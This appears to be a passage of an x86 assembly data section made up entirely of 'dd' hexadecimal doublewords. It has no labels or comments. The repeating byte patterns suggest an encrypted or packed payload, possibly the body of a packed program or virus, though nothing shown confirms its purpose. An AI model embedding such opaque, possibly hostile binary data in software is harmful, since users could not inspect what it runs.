		dd 5178923Fh, 0A8257E46h, 8CA481FCh, 0AAC09E3Ch, 0A3C5D772h
		dd 364E2BC9h, 24BC5CFEh, 26CC4C6Dh, 0C4A1BBCDh,	44E274ACh
		dd 203A4C6Ah, 3EF52D41h, 0DE7C3F67h, 0BDDBB502h, 855E2C64h
		dd 0E0FA0C65h, 4157EB03h, 233D1964h, 160C92CAh,	92000000h
		dd 17EBDE20h, 91B34EDh,	15F49234h, 0A2DAF0CEh, 0B99CAE07h
		dd 5C7E566Ah, 61795624h, 677D5B29h, 6987612Fh, 6C886331h
		dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8950EE43h
		dd 61BD55E0h, 810B7732h, 7C6193F5h, 4EDC138h, 0F704EDC1h
		dd 0A9F581DDh, 1FFCCF4h, 0E8835DE8h, 24048704h,	5FF5685Ch
		dd 1C890000h, 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h
		dd 52240C89h, 0EA9F96BAh, 8BD38907h, 0C4832414h, 0C8B5404h
		dd 4C48324h, 8BA52h, 0CA010000h, 148B1A89h, 4C48124h, 0FF000000h
		dd 81592434h, 4C4h, 241C8B00h, 81E38953h, 4C3h,	4C38300h
		dd 5C241C87h, 0F9D7DEE9h, 0E534C5FFh, 333E4396h, 0B8A8573Fh
		dd 7EAA58Fh, 0E0FFC503h, 5A5ED3E1h, 5840AE92h, 6D202E81h
		dd 3A637A66h, 0AE8h, 92F2C700h,	1A6A7374h, 0B728C6CAh
		dd 0DE8B5946h, 6E71C181h, 81660000h, 0BEB381CBh, 3C882746h
		dd 0BD0EE81h, 860F3C88h, 6, 0C161F381h,	18B2540h, 0C081DF8Bh
		dd 645747F0h, 0A830Fh, 8F0F0000h, 4, 19E1BB66h,	222BE881h
		dd 81FC794Ch, 1C805AC0h, 0FE8B6673h, 0F98A0189h, 3D35E981h
		dd 0B9B66975h, 3D31C181h, 0D78A6975h, 0F01EE83h, 1085h
		dd 4CCB8000h, 1DE9h, 0B24F5E00h, 55CCFA82h, 6BBB6617h
		dd 0FFA0E973h, 0C2F7FFFFh, 0E242DBB4h, 0B3A438C5h, 0AE949F3h
		dd 6B000000h, 3B4CB7h, 0
		dd 4A4E900h, 26680000h,	0E907EAA8h, 0FFF9D6FBh,	0EAA89468h
		dd 0D6F1E907h, 0BF68FFF9h, 0E907EAA9h, 0FFF9D6E7h, 0DD71936Bh
		dd 3ACEEEC7h, 9A2E4824h, 0FD91A584h, 5CF00CE7h,	9E47D83h
		dd 694359EDh, 0C3A1B74Bh, 260319ADh, 17C77A0Eh,	0A807E59Ah
		dd 9D2C7113h, 115F492h,	21C2EC9h, 5D30B27h, 5D7C1028h
		dd 0AF2C7C32h, 13A68B31h, 4CDE167Fh, 82BAD0AEh,	86BED8B4h
		dd 878092EBh, 13A68CF4h, 85630153h, 4C9C376Fh, 0A68C28CFh
		dd 2B3DA613h, 59A6D68Eh, 7ED877E5h, 2D8h, 0B33092A7h, 1442A0CCh
		dd 0E40F218Ah, 3F6F20A6h, 8CA472EFh, 97213A6h, 0EA73F500h
		dd 0E042EEC3h, 249D4F6Eh, 58C3537Bh, 110BE6A3h,	91B4C62Fh
		dd 0FE60B0FEh, 0C6BD3A9Ch, 94110BE6h, 0E73BC02Bh, 3797110Bh
		dd 0BE7C5BAh, 0CF289111h, 0E9A6C4BDh, 0CB3416EFh, 53A7197Bh
		dd 18309A13h, 7502F964h, 67D0196Fh, 0D7B88F55h,	9742FED0h
		dd 4B9B7D6Dh, 6F6B29CEh, 0E33CA519h, 50B91693h,	5CC51E8Bh
		dd 79916E0Ch, 0EEB8967h, 6F4C62F6h, 0E51C0357h,	5B9B5CEEh
		dd 2C5D5h, 82A47C00h, 0DFFFD8EEh, 3F59354Bh, 0A2B695ABh
		dd 11DF80Eh, 0F56E946Dh, 546AFE1Ah, 0B2C85C7Ah,	142ABED4h
		dd 0D88B1F37h, 8D4AB28h, 3D8213A8h, 1AF492AEh, 0C8C7EAFCh
		dd 963496E6h, 9C6AA2B8h, 0D46FA7BFh, 6370697Bh,	2F13A806h
		dd 0FDD876C6h, 5C374DE1h, 7452F040h, 0D9864C5Eh, 0EC57F8D9h
		dd 277B9370h, 6A164502h, 570389C9h, 0EA000002h,	465CF012h
		dd 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh, 6C8863FCh
		dd 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h,	13A80862h
		dd 4D1CABF0h, 0AA1C6C42h, 39472AFAh, 613BC702h,	5E700B43h
		dd 0CF940380h, 59C213A8h, 0D08B7421h, 2F4013A9h, 0ADB84777h
		dd 751DD870h, 46000001h, 430C2092h, 0B2AE2845h,	91A986A0h
		dd 96AE8B59h, 0AB8A2802h, 2D628597h, 31CF3181h,	69043C54h
		dd 106C5E57h, 0B92213A6h, 172BD481h, 8FA013A6h,	6658A7D7h
		dd 3A7DD877h, 0A6000000h, 5A39424Dh, 3B9DED46h,	0A0A75CD9h
		dd 0B7341442h, 1442A0C0h, 6BD4258Eh, 0A9AA6059h, 0CB6913A6h
		dd 0E6C5D7EDh, 0E798457Dh, 6413A6A9h, 946B1353h, 41D87808h
		dd 0ABh, 6179566Ah, 64805B29h, 69815E2Ch, 6E866331h, 0A4C4E5DAh
		dd 7E5B1442h, 0E7405433h, 535B3453h, 6C8C6503h,	0A9879934h
		dd 0A4420E2Ch, 0AAEC5C13h, 5A724F2Dh, 29B635FAh, 4EA7C19Dh
		dd 698560FEh, 1C99FBD5h, 13A48E67h, 5E788AF3h, 20136783h
		dd 0BF6A1ABEh, 12CF97Fh, 3D150000h, 9871871Bh, 0F2CEE478h
		dd 4F2E44D8h, 0B691A73Bh, 0C72D069Ah, 397B38Eh,	61F513EDh
		dd 0C3576D4Bh, 24B8D0ADh, 0BF44C171h, 1B13A809h, 7B5647D6h
		dd 0A014EB68h, 0A9871442h, 80D94293h, 9AB89230h, 0A036CD4Ah
		dd 3BA41442h, 14F10729h, 569768FCh, 73116179h, 0AA457D97h
		dd 2704D298h, 335C7B0Fh, 0B38D2B7Bh, 0A05A219Eh, 8FF81442h
		dd 5530FE36h, 0F0CEE039h, 0A6EF6F73h, 1EBC2E13h, 0CA958F08h
		dd 59C2A1B3h, 74906B09h, 2E10EBE0h, 0A68313A6h,	57347D5Bh
		dd 136C073Fh, 351026BAh, 875BE119h, 0EA000000h,	0F875424Dh
		dd 1442A003h, 0BD0D66CFh, 0A8065740h, 5A92FB13h, 4F2AC8h
		dd 76AE0727h, 0D2AFC9DBh, 5991AB87h, 5B93B18Bh,	7A0E67C0h
		dd 613C8764h, 0E6720D45h, 4898F109h, 3B8C96D6h,	6D482C05h
		dd 257E1951h, 0B0A04D13h, 112F0EF5h, 0BDDBB553h, 23560EABh
		dd 815DA885h, 3BD60E67h, 1A320F29h, 7B937086h, 82967543h
		dd 88BC934Ah, 8E6DB895h, 4EA7427Ah, 0AFC7A4BAh,	8F177h
		dd 0D9770000h, 0FED3E5FBh, 7E563E8Dh, 7956245Ch, 7D5B2961h
		dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h
		dd 9B74427Ah, 81EE437Bh, 4ECh, 240C8900h, 112F68h, 242C8900h
		dd 62DE68h, 24148900h, 2F6B6856h, 815E242Dh, 0C7887EF6h
		dd 34815623h, 0BB37CC24h, 0F5815D16h, 16BB37CCh, 5B23685Eh
		dd 24890000h, 24048324h, 81555A04h, 73192434h, 428F213Bh
		dd 0EBB85008h, 4014573Ch, 0E625D0F7h, 2D7A2518h, 48E48CE9h
		dd 58084231h, 5A2434FFh, 4C481h, 2C8B0000h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0F9D262E9h, 10B8DDFFh
		dd 307EAABh, 1E0FFC5h, 0CB575993h, 47063457h, 6A4AFFFDh
		dd 466C14C4h, 1973DC71h, 695AE752h, 97ACE8Dh, 0DC752CDDh
		dd 8839A868h, 0D2123BC5h, 0C9127D03h, 1903EEA6h, 9A4491EDh
		dd 0D635027Eh, 0B247A611h, 0E3702C49h, 0F41140ECh, 9D4EDAF6h
		dd 0AA2AA408h, 0FC7E7D5Ah, 3765960Bh, 0EB41959Ah, 0DE2F6195h
		dd 532D2CC4h, 5DB17DD8h, 0F6B132AFh, 55323D54h,	1DB13256h
		dd 0D5B153ABh, 0B29FA2AFh, 75B13254h, 0AA1F593Bh, 0A1749CD0h
		dd 913276Eh, 0DEBE8422h, 0ABB13251h, 0D5B0B759h, 0EA443256h
		dd 75BDDB56h, 0DFC63256h, 16398950h, 92EE4CD9h,	57B1AA96h
		dd 0ABB137BFh, 0E2A3156h, 0EAB141CDh, 75B139BFh, 0E2524456h
		dd 2A05ACE7h, 0B3B1932Eh, 43583256h, 77B13256h,	5BC79910h
		dd 0B5FCEBFFh, 0E01497A3h, 3B9B6B08h, 5D54A898h, 0A0585256h
		dd 9B13256h, 2D750AB3h,	39BB5CBCh, 8BE6CCAFh, 0C2BE522Ah
		dd 0BAA1DA88h, 0FD2B3256h, 61D03A4Ch, 5F3E371Bh, 0A2396B8Ah
		dd 0B4E9729Bh, 0B7689937h, 75B13256h, 0ABA2F665h, 8F63A197h
		dd 0D1513FADh, 0D2471045h, 0B958F43Dh, 0FBB13256h, 6C47B775h
		dd 310383F2h, 0AAAE58D0h, 711D9AF7h, 57B132D7h,	57EEE089h
		dd 4470D2D7h, 0D5343D36h, 2B13256h, 75B1325Fh, 825816A9h
		dd 0EF51D8AEh, 0CFD0694Bh, 0A2D13256h, 0CA42B930h, 0D0583256h
		dd 70B13256h, 48ABBD71h, 0DCD13256h, 52EC20EEh,	0AEB138D8h
		dd 57B4DB56h, 0A5BA3256h, 0B47F0BA0h, 0EA493256h, 7D313D56h
		dd 0DAB13256h, 0D8F889A3h, 0AED03E51h, 57A5DB56h, 25C83256h
		dd 445AC27Ch, 3A69814Dh, 0DE59DC8Ch, 8FC6F556h,	5DB18245h
		dd 0B93D3D36h, 0BEB13256h, 0ABB13244h, 0AFB790CCh, 33790A8Fh
		dd 0D5C78708h, 3652B8F0h, 0B131A4F3h, 0AEB153AAh, 57B0B959h
		dd 0AB4D3256h, 0D5B1CE56h, 393A5236h, 75B13CBFh, 920EF256h
		dd 46491D8Eh, 2466811Eh, 364636ACh, 0ABA6BD59h,	0C7583256h
		dd 89B13256h, 0FF5749CDh, 32D7375h, 0FF021763h,	40CD46B3h
		dd 57B1536Ch, 0CBB132AAh, 21ACD5D7h, 0EAD0686Bh, 7C58C756h
		dd 0D5B13256h, 348D649Bh, 67123660h, 0BE483256h, 0ABB13250h
		dd 3C58B547h, 0EAB15D9Dh, 9CB132AAh, 0BAB13246h, 0D5622DB5h
		dd 0B5038C25h, 67912CCh, 0F12B67E7h, 0D8583256h, 29B13256h
		dd 0F3D7EFBFh, 0BEB2B9C2h, 0F406F148h, 0AEB0B059h, 57443256h
		dd 0B2313D56h, 0DAB13256h, 0EAB121D0h, 75BFDB56h, 0E2573256h
		dd 3974548Ch, 8FB52EC1h, 4500B6DCh, 14D13256h, 9C5B7F61h
		dd 8AB13237h, 75B138BEh, 54C33A56h, 59367446h, 250D72F4h
		dd 57D06D85h, 0ABB3CB56h, 0D5B03256h, 0EA4D3256h, 74363D56h
		dd 4FB13256h, 5DB3358Eh, 0AEAB3254h, 57863252h,	0AB44327Ch
		dd 0DF1DEC96h, 8873BF44h, 7502BD60h, 0B0313D56h, 0B4B13256h
		dd 0AEB13253h, 4255BB39h, 42B132E0h, 0D5B13244h, 390F101Dh
		dd 57DAF36Fh, 6E6955C8h, 0BF51085Ah, 0AEB1C0FDh, 0EF7BB336h
		dd 57DE12C2h, 0D5B1CE37h, 0E5B132AAh, 75B124DCh, 0AA323D56h
		dd 0B4B13256h, 0AEB1325Dh, 3A182835h
		dd 0D5D9BEDh, 0D5DB0888h, 55D75256h, 0BC30BCE8h, 8456FABDh
		dd 3DB13237h, 59FECEE8h, 0DBBE6375h, 0ABB13256h, 0D549530Ch
		dd 0DB36456h, 14768D59h, 0B5D13256h, 0DABEE1E9h, 0AEB13256h
		dd 1B13237h, 0ABB13A54h, 5BBE5256h, 0EAB13256h,	75B1CE37h
		dd 0E8E1A2A3h, 56586006h, 59B13256h, 0C433FF32h, 447FFB86h
		dd 0E4BEB7AAh, 0DBBE6006h, 2DEB6A0Ch, 0B3580359h, 60B13256h
		dd 97B1B164h, 0A29DED28h, 0FBE16A0Ch, 6DD75204h, 52D71D25h
		dd 7AD07D99h, 0DAE36267h, 0D803D37h, 0F4803D04h, 0DE9680Eh
		dd 2AD9A20Eh, 68A55570h, 533131E4h, 1D6DA8h, 0DC2C495Ch
		dd 3C0F65EEh, 0F4D053C0h, 0FA75A40Eh, 28141B4h,	0B0EDFD78h
		dd 8BE8D96Ch, 75B1A537h, 0B5DFDB26h, 76CB97CAh,	0A2580359h
		dd 63B13256h, 0B12E00Bh, 194E2C0Fh, 0B0AA1843h,	15803D0Eh
		dd 58B3B0E9h, 5358AE59h, 60B13256h, 8D34CEB9h, 0DB0DA5Dh
		dd 0E78CA6B1h, 9460B3D5h, 9CD44CABh, 0BAB13242h, 0A63BC77Ah
		dd 79E7434Eh, 24539F92h, 649F9B66h, 3E8B570Ah, 0B2EB53CBh
		dd 719576DFh, 7D3A5436h, 0C6A3ECEDh, 0CEE9533Dh, 4D758937h
		dd 0F1D06BA8h, 973C6A0Eh, 6438A205h, 0EFF48EF9h, 0E2E9689Dh
		dd 3C2C398Ch, 83F5650Eh, 7E01C134h, 4E6D7DF8h, 8B2C59ECh
		dd 0CEF5BB37h, 0CBD75252h, 532D34B5h, 5DB13245h, 0C4E43E69h
		dd 6160CA0Dh, 69BC9661h, 0DBB82285h, 8C740E79h,	0DE99F2D7h
		dd 0BAB134BFh, 8996D456h, 3372402Bh, 0CE6B6A37h, 0ABB126BFh
		dd 0D1EA6F56h, 4AE09B60h, 0F733587Dh, 5A6C59FCh, 0B9199B39h
		dd 0AEB1536Ch, 0AFB132AEh, 0B8583256h, 0B5B13256h, 4F568831h
		dd 9E332F09h, 7738A42Dh, 0D3C0F196h, 0AEB1F9E4h, 523D3D36h
		dd 0CDB13256h, 4DD8E2D7h, 0E5B13237h, 75B13CD3h, 0BAB8DB56h
		dd 0A1323256h, 53CB5008h, 57A56D70h, 20D75256h,	0B4E96485h
		dd 6EBE3256h, 75B1325Fh, 0DC2D8536h, 0F403C3D7h, 56B13237h
		dd 5B583256h, 46B13256h, 606431BCh, 5E7B526Dh, 758EF795h
		dd 0B2333D56h, 3DB13256h, 5E0F8930h, 57D0E8DDh,	43D15256h
		dd 0D5B13247h, 47A23221h, 0EA308FF0h, 0E692C568h, 129B95EEh
		dd 930B6998h, 36BCC45Dh, 0CBB13237h, 0D5B13BBFh, 18597D56h
		dd 0C09B47EBh, 643A08CCh, 52B13237h, 0AEB133D3h, 57B1CB56h
		dd 3703C736h, 0DAB13237h, 0EAB12BDAh, 7E595256h, 21B13256h
		dd 1536481Ah, 4455AAA9h, 0D6E94DC2h, 0AF6D71BCh, 0D5B15342h
		dd 0EAB13FBFh, 0C8397F56h, 0EBC35D5h, 66129C2Ah, 0AEB11350h
		dd 57B13EBFh, 0B3A26F56h, 0E9185930h, 415D8EBCh, 7AB13242h
		dd 0BAB13AD5h, 3E65256h, 437C8930h, 0BEB13237h,	0ABB13259h
		dd 0D7D32496h, 90D1DAAh, 3F17D248h, 0BA86C91Ah,	5DBBDB56h
		dd 0EB143256h, 1B78CDA9h, 8DDEC56h, 0D5B0BE59h,	0EA443256h
		dd 6A3D3D56h, 0DAB13256h, 5DB123BEh, 391C5856h,	7A026CF9h
		dd 4A222C42h, 0BC9C5464h, 0E5EB4F93h, 75B132D6h, 0A8585356h
		dd 0A7B13256h, 52E99A0Bh, 32DCA98Bh, 0A86A1112h, 76D64D02h
		dd 12B13214h, 0F4D13256h, 369FCB84h, 5DB1535Bh,	6F0E3D36h
		dd 522EC5D7h, 0ABD042C5h, 0D5B7DB56h, 0B39B3256h, 2D7B9EC8h
		dd 0BA483256h, 5C3E3D56h, 52B13256h, 57B126BFh,	316D8156h
		dd 9E29DEEDh, 0EA9697A9h, 127DFE35h, 2BE14CB0h,	0B4B132A4h
		dd 0AEB1325Ah, 4831D84Eh, 19FA9F80h, 2919A310h,	0F9583256h
		dd 7AB13256h, 0AE47C15Ch, 9A7CF47Fh, 0CC1275ECh, 777720DBh
		dd 27BECE12h, 0D5B1324Fh, 0EAB126BFh, 44A2D656h, 8D6ED340h
		dd 8346A102h, 0C3E1980Fh, 0D2550BEAh, 42B13277h, 0D5B13259h
		dd 0D42FE9A6h, 5A14C536h, 61D89999h, 0B46158B7h, 0AEB1325Fh
		dd 324DF296h, 0FCD7FE6Bh, 0DAB132CFh, 0EAB13FD1h, 75B9DB56h
		dd 0E64A3256h, 5A53D646h, 0AEB1E0A4h, 57B6B459h, 0CBD13256h
		dd 1660B237h, 3B13237h,	75B1325Bh, 0DE2FD311h, 0BC45B5A0h
		dd 5999A9Bh, 0ABB13296h, 0AB443256h, 0D5BFDB56h, 0BF0A3256h
		dd 5D95D23Ah, 0C116DD91h, 0D642644h, 0A1D13256h, 57B134D6h
		dd 0AB373D56h, 3DB13256h, 0EAB1325Dh, 0B96C6D33h, 569A10D0h
		dd 5209CD7Eh, 0AEB132D6h, 57D06956h, 0AA3F3D56h, 2DB13256h
		dd 0E2583256h, 0A9B13256h, 476A57FCh, 5DAA0BCBh, 0B6393D56h
		dd 0BEB13256h, 0ABB13245h, 32A90882h, 45C42285h, 0BC8BB55Ah
		dd 9A438FE7h, 5D0273A6h, 0A2373D56h, 58B13256h,	0ABB134D6h
		dd 0D53B3D56h, 0EAB13256h, 75B1CA56h, 0BAA4BE59h, 0D3BE3256h
		dd 0AEB13259h, 57B138BFh, 8DD6BE56h, 0F26354F7h, 0EA3E4FE1h
		dd 75B1CE56h, 0BAB13FBFh, 11405D56h, 4C44B81Eh,	61C2B2B8h
		dd 0ABB17888h, 0D5B139BFh, 0C4266456h, 0A7A35303h, 0F900856Dh
		dd 4D583256h, 0A6B13256h, 0A1BC3B9Eh, 0CD6DE8h,	5D553452h
		dd 0EABB0BFCh, 75BFDB56h, 4FC33256h, 0D8E5A38Ch, 1DBC487h
		dd 0A49CD23Dh, 21BE3256h, 0D5B13247h, 0EABAB359h, 73583256h
		dd 31B13256h, 0E18896D8h, 0BA585213h, 1AB13256h, 48FC27B3h
		dd 9952F82Fh, 0F50F8454h, 73BE4852h, 0B55A5CDBh, 5DD0CBE9h
		dd 0AF3A3D56h, 0AFB13256h, 0CAD13256h, 0D5B0B859h, 0EA493256h
		dd 75B1CB56h, 42B132AFh, 5DBDB959h, 26BE3256h, 57B13250h
		dd 0ABB1B759h, 0D5B13256h, 0EAB13DBFh, 9E86CE56h, 0C09D788h
		dd 0A5D009C2h, 2D0CBA1Bh, 0EFD13256h, 0D7E2D59Ch, 1E063D04h
		dd 0EAB1530Dh, 75BEBC59h, 52D13256h, 5DB13253h,	918C645Ah
		dd 0A23B6B27h, 0AC323D37h, 0DAB13256h, 0EAB133D2h, 75B1CB56h
		dd 0BAB126BFh, 0B6B9A56h, 4B751F75h, 91D40570h,	77096927h
		dd 562292BFh, 0E5B132EBh, 75B135D2h, 48315256h,	3C6084EDh
		dd 0AEB9B559h, 0DDBE3256h, 0ABB13254h, 0D5B15336h, 8AB132AAh
		dd 75B123BFh, 319B3956h, 2A35B29Fh, 6FCE2C9Eh, 59176E27h
		dd 0B8591A7Dh, 0E7B13256h, 51F50F7Bh, 173D78B0h, 8A934FC6h
		dd 5FA4AA50h, 0F64DD133h, 58B13237h, 0ABB131D0h, 0B4485256h
		dd 0FA583256h, 8CB13256h, 0A507B7B5h, 0DE3D93DAh, 0B517D192h
		dd 57715B38h, 0A458CB56h, 0F3B13256h, 7ED197F8h, 741305EBh
		dd 4B2D0B92h, 5DB169D5h, 0AEBBB359h, 52583256h,	0C5B13256h
		dd 3CFA2066h, 69BE3256h, 75B13243h, 0BABEBA59h,	57583256h
		dd 0FB13256h, 0A97E8E6Dh, 0BD70783Bh, 0B5B132E7h, 8BFD8336h
		dd 75B123BFh, 0D5C55C56h, 7553052Bh, 0D2899FD3h, 0E5997BA4h
		dd 0ABD01C83h, 0D5BFDB56h, 0C8E13256h, 0A23ADD3h, 0A533BB83h
		dd 0A0E8D9AEh, 0AB343D36h, 31B13256h, 0DA8ADBD7h, 0D5D06A06h
		dd 64BE5256h, 75B13253h, 5D3192ECh, 4D303D7Bh, 47B13256h
		dd 57B1325Dh, 4EFF414Eh, 74F35ABEh, 8BF3223Ch, 75493256h
		dd 0BAA1DB56h, 8EC23256h, 676EA1CAh, 0AB45C63Ah, 0DD2C5A0Fh
		dd 0D5B1BAAEh, 13B132AAh, 75493256h, 0B63B3D56h, 52B13256h
		dd 0AEB134D0h, 57313D56h, 0ABB13256h, 0D5B1CB56h, 0E5B132AFh
		dd 75B122DCh, 0BABADB56h, 6A1E3256h, 0C4CD22F2h, 8F1C977Bh
		dd 5EB132ACh, 0DAD13256h, 0EAB122D7h, 75BADB56h, 0E1193256h
		dd 0AF17AA37h, 0A3EAF6EDh, 57B15316h, 0ABB0B259h, 0D54D3256h
		dd 8C4D5256h, 144706ECh, 0B5583256h, 63B13256h,	909AB662h
		dd 0DEF9533Dh, 69281D89h, 0D5B157A0h, 0EAB138BFh, 0BCA56456h
		dd 87A1794Dh, 5D9888DFh, 0BC3A3D56h, 0BEB13256h, 0ABB1325Bh
		dd 0B9515696h, 0EEEBADEBh, 888A501h, 43B13247h,	9E085436h
		dd 2ABE525Ch, 57B13256h
		dd 0ABB1BC59h, 0B4D03256h, 0EA443256h, 75B1CB56h, 527FB936h
		dd 5DB13259h, 0D05FEAE7h, 6E5BD1FEh, 9386919Ch,	6C3734D0h
		dd 9746A21Fh, 75B1530Ch, 0BABDB659h, 0DCBE3256h, 0AEB13250h
		dd 57B1BE59h, 0ABB13256h, 0B5B132AFh, 0CC66C4D7h, 0D90B7863h
		dd 0DBA2ADE8h, 3BD13256h, 0C8BC27ECh, 36334AECh, 0CDD13256h
		dd 0B5EF17EEh, 0F75EB330h, 14D0CE70h, 52D13256h, 5DB13250h
		dd 0D62C50C5h, 36D18F71h, 0ABBFDB0Eh, 82E93256h, 49BC56DDh
		dd 0DEE9BFF6h, 0B1FA9606h, 0A1B13237h, 0A6583256h, 0F0B13256h
		dd 0C25DA8D9h, 0D54C3F90h, 0F93B3D56h, 9CB13256h, 0BAB13258h
		dd 6AA5966Dh, 0FF58ED25h, 3744B236h, 0ABB19752h, 2278B336h
		dd 3C69AE3h, 75B13251h,	865B8E3Eh, 3C992F6Bh, 0AEB137BFh
		dd 0CC2A156h, 0ABB15014h, 6ED7C736h, 0EAD0E103h, 74303D56h
		dd 42B13256h, 0DDBE3256h, 0AEB13257h, 58B132AAh, 0ABB13AD9h
		dd 0D73F3D56h, 8AB13256h, 7B313D37h, 0DAB13256h, 5DB1BA59h
		dd 65303256h, 0CC8ABBh,	0CBB13237h, 123A54AAh, 0E5B13237h
		dd 75B139D0h, 0BAB7DB56h, 86323256h, 7F6224F5h,	44583256h
		dd 0CAB13256h, 7A2840C3h, 8E256BF6h, 7F7C69D2h,	0F08D3BDFh
		dd 5DB10C6Ch, 0AEB137BFh, 0E1DD5156h, 0ABB1E726h, 0D5B122BFh
		dd 0CD829456h, 0B04D1298h, 5ABE3684h, 62368537h, 47B1320Dh
		dd 57B13253h, 66180831h, 20B132B6h, 0EAB13CBFh,	7CD29956h
		dd 7886550h, 8C142B5Ch,	0AE287340h, 5C3F3D56h, 0CBB13256h
		dd 0DA6BB930h, 0EAB132D6h, 75B15356h, 0B16BB236h, 52B13237h
		dd 0AEB133DFh, 57B1CE56h, 0ABBDB659h, 53BE3256h, 0EAB13250h
		dd 75B1B459h, 0BA443256h, 0A4E05256h, 0AEB1530Fh, 57B121BFh
		dd 6B329A56h, 2D81460Fh, 58346564h, 0B36A8AE6h,	7C8EAE49h
		dd 0D2BE3256h, 0AEB1325Ah, 57B7B059h, 26BE3256h, 0D5B13256h
		dd 6FBE3256h, 75B1325Dh, 790E5436h, 963054A3h, 47D0B568h
		dd 57B13250h, 0CBCD5475h, 0D5B15653h, 63BE6036h, 75B13256h
		dd 0BAB1530Dh, 5DBDBE59h, 0A9583256h, 0CCB13256h, 0C0F7AEEEh
		dd 0D5B1129Fh, 3B132AEh, 75B1325Ah, 89303B32h, 0B70B325Eh
		dd 7B7BB1FCh, 44583256h, 76B13256h, 2F87D513h, 0A6F88C0Eh
		dd 305F13D6h, 528C9B1Ch, 5DB14246h, 0A1B132AEh,	57B123DEh
		dd 0ABBDDB56h, 1D213256h, 0CA2742F7h, 3C72AAA2h, 0BAB10B49h
		dd 8E0E3D36h, 0AEB5BB59h, 0E9D73256h, 0A4D0ACDBh, 0D5B12EDDh
		dd 0FC3D3D56h, 9CB13256h, 0BAB13247h, 2017DFBDh, 572DB33Eh
		dd 71813098h, 55647082h, 20B1324Dh, 0EC583256h,	0D5B13256h
		dd 5D0DA13Dh, 3DB13211h, 0F5EF6506h, 0BEB13237h, 0ABB13259h
		dd 3BB9D39Fh, 6A9DAFF8h, 0E51D5E97h, 0BA9BAB11h, 5DB8DB56h
		dd 74BD3256h, 7FF00574h, 0AB6068ACh, 0D5B6DB56h, 26143256h
		dd 6BE2A638h, 0BABBDB46h, 0FC7E3256h, 0EBFDEEFBh, 53E49166h
		dd 2CBE3256h, 0D5B13257h, 3B132A3h, 75B1325Bh, 0F760B8EAh
		dd 6B51FCB1h, 10D46D6Bh, 0ABB1329Ah, 0A4D13256h, 54D7E0E9h
		dd 8B23E3B9h, 75B139BFh, 687E5256h, 0ED18880h, 2224317Ch
		dd 0DDBE3256h, 0ABB13242h, 0D5B13DBFh, 9CBDE256h, 0AB78A3FFh
		dd 0A48AE92Dh, 374D7D9Eh, 18095436h, 3643B9DBh,	2BD13256h
		dd 54D7CBBEh, 8B4DBFB5h, 7B583256h, 32B13256h, 0FB2D2A6Fh
		dd 2B2CC398h, 516852D6h, 0A4B132F1h, 0D5B13ED4h, 0EC303D56h
		dd 7AB13256h, 0BAB132DBh, 0A8B13256h, 0A4583256h, 34B13256h
		dd 9D37DA75h, 0C4CD1F1Dh, 0E5B13202h, 75B139D5h, 60315256h
		dd 5D323D41h, 0CFB13256h, 58D13256h, 0ABB137D5h, 0C305456h
		dd 8B4D9A33h, 4B7FB236h, 0BAD0A9E3h, 0E2BE5256h, 0CF43B9A7h
		dd 50583256h, 1B13256h,	0DBB3867Dh, 0EAB17859h,	75A2DB36h
		dd 0D8813256h, 47C8211Ah, 0D4B39AD1h, 0B78832CBh, 737953BDh
		dd 0D5B15319h, 0EAB0BE59h, 75493256h, 0BABFDB56h, 1E303256h
		dd 7FF22D05h, 7642B972h, 2A178B09h, 3CB132AEh, 0EAB1325Fh
		dd 0B5D62499h, 0A949C58Bh, 0B4B13293h, 0AEB1325Eh, 1BEF4C7Ah
		dd 0E7B63E79h, 0D5483256h, 0EABEDB56h, 0EAA23256h, 0C477BA06h
		dd 1A31B066h, 76E83EDFh, 0BEB132D0h, 0ABB13247h, 0BD9AFC56h
		dd 120F4BF9h, 0D1E5F856h, 99663009h, 52B132AAh,	0AEB139D1h
		dd 8E305256h, 0C9A8D5A8h, 0B47F8D59h, 60D13256h, 73333D97h
		dd 0B5B13256h, 5DB132D5h, 0AEB15356h, 57BDB659h, 21BE3256h
		dd 0D5B13250h, 0EAB1B459h, 13D13256h, 31D7C0DDh, 5DB153AFh
		dd 2FD76536h, 0E3B2085h, 0ABB9DB37h, 3A9A3256h,	8531A82Dh
		dd 75B1EE9Fh, 52D28136h, 5DB13247h, 273CB175h, 0F92AFA3Ch
		dd 0A1D9D256h, 0A4D15A90h, 0EAD06DFBh, 75B1CE56h, 9263B336h
		dd 3CF2336Dh, 0A5583256h, 6AB13256h, 31A96579h,	9681459h
		dd 0EA49476Eh, 754DCB56h, 0BAB8DB56h, 0E2213256h, 0FB0739AEh
		dd 57AEC7AFh, 2AD75256h, 0DA7D3C87h, 0EAB130DDh, 14D05256h
		dd 43B132AEh, 52B132AEh, 0AEB135D6h, 31445256h,	0CA245DEDh
		dd 0DC583256h, 11B13256h, 1BAEBAC9h, 4D5ACC73h,	5DB126BFh
		dd 90EF5256h, 52AFE76h,	0DDB96B0Ah, 53AFE3EBh, 0CF17974Ah
		dd 80B13270h, 0B5583256h, 3AB13256h, 859733A2h,	0A1509D16h
		dd 61162AACh, 53BEA497h, 0EAB1325Eh, 75B3B359h,	0DBD13256h
		dd 0DABE3256h, 0AEB13247h, 57B13EBFh, 0F5BA7256h, 8053C021h
		dd 8D1911Bh, 75A2DB7Dh,	2ACC3256h, 5E65DF8h, 882AF2E3h
		dd 483F26CBh, 84958782h, 0DAB13242h, 0EAB135D9h, 74393D56h
		dd 46B13256h, 3BD13256h, 0CE8AF1D7h, 57B153AAh,	0ABA2DBAEh
		dd 0DFFF3256h, 0BF01779Ah, 377EE245h, 5DB1418h,	0F0434A04h
		dd 52B13279h, 58583256h, 2BB13256h, 9E1CE449h, 422074E4h
		dd 27FA3FAAh, 0BAB1253Ah, 5DD0C736h, 0AEB1C756h, 57B126BFh
		dd 6D689256h, 8DC3A8ABh, 0E6AD2D10h, 0B1C16DB4h, 0FDCE46A8h
		dd 0A1B13278h, 0AE4D3256h, 0DB0E5256h, 0F8B98EFAh, 8A42B930h
		dd 0E4595237h, 0F3B13256h, 460949D3h, 0D81D5DEBh, 0ACDEC16Fh
		dd 3E60B311h, 0F2B20E91h, 0D5B153A3h, 0EAB9BE59h, 0F1BE3256h
